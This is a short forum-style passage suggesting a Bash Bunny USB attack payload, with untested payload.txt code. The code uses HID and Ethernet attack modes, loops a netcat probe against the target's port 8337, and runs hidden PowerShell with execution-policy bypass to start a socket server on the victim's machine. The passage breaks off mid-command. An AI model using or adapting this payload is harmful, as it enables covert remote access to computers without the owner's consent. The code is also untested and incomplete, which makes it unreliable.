You could set attackmodes to HID and Ethernet and have a payload that opens something you can connect to. While you can't connect, you wait.
Not tested code (payload.txt):
ATTACKMODE HID STORAGE RNDIS_ETHERNET 0xF000/0xFF02
# Wait till connection to socket server was possible (here it waits that the user logs in)
while ! nc -G 2 -z $TARGET_IP 8337; do
# Try to start socket server on client
RUN WIN powershell -windowstyle hidden -ep bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_